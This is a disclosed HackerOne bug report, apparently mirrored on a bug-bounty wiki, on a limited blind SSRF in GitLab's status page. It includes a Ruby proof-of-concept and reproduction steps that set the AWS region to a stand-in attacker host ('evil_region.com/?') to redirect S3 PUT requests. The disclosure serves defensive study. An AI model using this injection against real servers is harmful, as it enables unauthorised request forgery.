Status page SSRF [limited blind]
The status page feature accepted an AWS S3 region parameter without validation, allowing an attacker to control the hostname used in S3 requests. This enabled limited blind SSRF, where the server could be made to send PUT or DELETE requests to an attacker-controlled domain.
GitLab
Originally disclosed on GitLab
- Fixed in under an hour
- Disclosed after under an hour
HackerOne report #880019 by anyday on 2020-05-21, assigned to @vdesousa:
Hello,
The status page feautre, accepts aws S3 region parameter, without validating it.
/ee/app/models/status_page/project_setting.rb
...
validates :project, :aws_region, :encrypted_aws_secret_key,
presence: true
...
Later the status page service calls the Aws::S3::Client.
/ee/app/services/status_page/publish_base_service.rb
...
def upload(key, json)
return error_limit_exceeded(key) if limit_exceeded?(json)
content = json.to_json
storage_client.upload_object(key, content)
success(object_key: key)
end
...
/ee/lib/status_page/storage/s3_client.rb
...
def upload_object(key, content)
wrap_errors(key: key) do
client.put_object(bucket: bucket_name, key: key, body: content)
end
true
end
...
Usually this results in the following request:
PUT https://s3.region.amazonaws.com/bucket_name/key HTTP/1.1
If you pass the region evil_region.com/?, the following request is issued:
require 'aws-sdk'
s3 = Aws::S3::Client.new(
region: "evil_region.com/?",
access_key_id: "11111111111111111111",
secret_access_key: "1111111111111111111111111111111111111111",
);
s3.put_object(bucket: "bucket.name", key: "key", body: "content")
PUT https://s3.evil_region.com/bucket.name/key HTTP/1.1
As you can see, limited SSRF is possible.
SIDE NOTE: If bucket name is 'aaaaa', Aws::S3::Client will use 'Virtual-hosted–style' naming, but if bucket name is 'aaa_aaa' or 'aaa.aaaa', it will use 'Path-style' naming.
Limitations:
- Requires valid matching certificate since request is over https (If testing with self signed cert, add CA to /opt/gitlab/embedded/ssl/certs/cacert.pem)
- Only PUT and DELETE methods
- Limited path or subdomain control using
bucket name(which is validated with\A[a-z0-9][a-z0-9\-.]*\z)
Steps to reproduce:
- Create a project, go to settings -> operations -> Status page, Set:
S3 Bucket name = bucket.name
AWS region = evil_region.com/?
AWS access key ID = 11111111111111111111
AWS Secret access key = 1111111111111111111111111111111111111111
- Go to project issues, create new issue. This will cause the following request:
PUT https://s3.evil_region.com/mybucket.2/data/incident/9.json
The server will need to respond with valid 's3.evil_region.com' certificate.
Video POC:
[REDACTED]
Impact
Limited SSRF
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
[REDACTED]
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The application did not validate the AWS region parameter, allowing it to contain arbitrary hostnames that were then used to construct the S3 endpoint URL.
Impact
Limited SSRF is possible, but it is restricted to PUT and DELETE methods and requires a valid certificate for the attacker's domain.
What the attacker needed
Attacker controls a domain with a valid certificate
How it was found
- Create a project and go to settings -> operations -> Status page.
- Set the S3 bucket name, AWS region to a malicious domain, and provide fake AWS credentials.
- Create a new issue in the project, which triggers an S3 upload request to the attacker-controlled domain.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The status page feature lets users set an AWS region, which is used to build the web address for uploading files. Because the region wasn't checked, an attacker could put a domain name there and make the server send requests to that domain instead of AWS. This is called SSRF (server-side request forgery), where the server is tricked into making requests on the attacker's behalf.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.